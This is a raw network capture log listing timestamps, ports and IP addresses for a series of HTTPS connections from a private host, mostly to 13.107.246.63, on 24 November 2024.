Nov 24, 2024 10:23:55.695403099 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.695422888 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.695436954 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.695442915 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.701502085 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.701560020 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.701606989 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.704147100 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.704168081 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.704253912 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.705210924 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.705225945 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.705235958 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.705241919 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.706300020 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.706357002 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.706399918 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.707204103 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.707250118 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.707271099 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.707287073 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.708933115 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.708945990 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.711132050 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.711163998 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.711215019 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.714497089 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.714505911 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.714561939 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.714696884 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.714709044 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.714998007 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.715019941 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:56.054647923 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:56.054826975 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:56.054913998 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:56.055077076 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:56.055094004 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:56.055104971 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:56.055109024 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:56.058064938 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:56.058089972 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:56.058166027 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:56.058449030 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:56.058459997 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.332288980 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.332967997 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.333038092 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.333492041 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.333502054 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.432992935 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.434922934 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.434951067 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.435436010 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.435441017 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.490659952 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.495074034 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.495086908 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.495588064 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.495592117 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.498581886 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.499157906 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.499181032 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.499609947 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.499614000 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.777708054 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.777779102 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.777859926 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.778211117 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.778233051 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.778242111 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.778248072 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.781553984 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.781582117 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.781665087 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.781843901 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.781857014 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.872286081 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.872340918 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.872431040 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.872704983 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.872730970 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.872744083 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.872749090 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.876123905 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.876149893 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.876338959 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.876425982 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.876432896 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.924673080 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.925196886 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.925216913 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.925690889 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.925698996 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.938182116 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.938237906 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.938437939 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.938467026 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.938481092 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.938492060 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.938496113 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.941348076 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.941391945 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.941457987 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.941601992 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.941611052 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.946410894 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.946460009 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.946568012 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.946644068 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.946655989 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.946666002 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.946670055 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.948928118 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.948957920 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:57.949034929 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.949177980 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:57.949192047 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:58.388329029 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:58.388501883 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:58.388571024 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:58.388782978 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:58.388799906 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:58.388817072 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:58.388822079 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:58.391879082 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:58.391927958 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:58.392007113 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:58.392164946 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:58.392177105 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.617084026 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.617732048 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:59.617753029 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.618223906 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:59.618228912 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.684212923 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.684849977 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:59.684860945 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.685307980 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:59.685312033 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.756916046 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.757436037 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:59.757447958 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.757884979 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:59.757889986 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.762705088 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.763020992 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:59.763078928 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:59.763391018 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:59.763395071 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.060806036 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.060848951 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.060910940 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.061176062 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.061196089 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.061227083 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.061233044 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.064588070 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.064614058 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.064708948 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.064882994 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.064896107 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.127960920 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.128010988 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.128102064 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.128360033 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.128370047 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.128379107 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.128384113 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.132013083 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.132067919 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.132153988 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.132361889 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.132376909 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.201657057 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.201703072 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.201859951 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.204123974 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.204142094 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.204142094 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.204179049 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.204185009 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.204737902 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.204775095 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.205341101 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.205346107 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.207251072 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.207264900 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.207341909 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.207475901 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.207483053 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.207921982 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.207967043 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.208012104 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.208168983 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.208178997 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.208188057 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.208193064 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.210355997 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.210391998 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.210469007 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.210622072 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.210638046 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.647939920 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.648123026 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.648181915 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.648283005 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.648303986 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.648317099 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.648323059 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.651246071 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.651267052 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:00.651340008 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.651515007 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:00.651523113 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.922609091 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.931998014 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:01.932012081 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.932504892 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:01.932511091 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.936022043 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.943321943 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:01.943339109 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.944041967 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:01.944047928 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.987133980 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.987528086 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:01.987546921 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.987967968 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:01.987976074 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.991369963 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.991684914 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:01.991693974 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:01.992104053 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:01.992109060 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.371794939 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.371850014 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.371911049 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.372147083 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.372167110 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.372181892 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.372189999 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.375168085 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.375205040 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.375268936 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.375422001 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.375432014 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.377074957 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.377125025 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.377176046 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.377269983 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.377285004 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.377294064 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.377298117 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.379362106 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.379385948 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.379451990 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.379551888 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.379560947 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.386001110 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.386372089 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.386379004 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.386815071 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.386818886 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.436218023 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.436264992 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.436314106 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.436450958 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.436455011 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.436464071 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.436466932 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.438765049 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.438810110 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.438884020 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.438992977 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.439003944 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.446880102 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.446899891 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.446949959 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.446986914 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.447017908 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.447396994 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.447412968 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.447423935 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.447428942 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.449565887 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.449580908 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.449647903 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.449738979 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.449745893 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.835119963 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.835280895 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.835366964 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.835375071 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.835448027 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.835496902 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.843908072 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.843918085 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.843928099 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.843933105 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.860281944 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.860331059 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:02.860394955 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.865312099 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:02.865333080 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.104334116 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.105050087 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.105058908 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.105562925 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.105566978 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.222491980 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.223031998 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.223048925 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.223535061 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.223541021 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.233525991 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.234788895 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.234803915 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.235199928 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.235204935 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.283212900 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.284379959 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.284394979 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.284813881 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.284820080 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.293790102 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:04.293839931 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:04.293911934 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:04.294265032 CET	49795	443	192.168.2.5	20.109.210.53
Nov 24, 2024 10:24:04.294281006 CET	443	49795	20.109.210.53	192.168.2.5
Nov 24, 2024 10:24:04.545063019 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.545093060 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.545223951 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.545234919 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.546220064 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.546283007 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.546334982 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.546354055 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:04.546365023 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:04.546369076 CET	443	49791	13.107.246.63	192.168.2.5
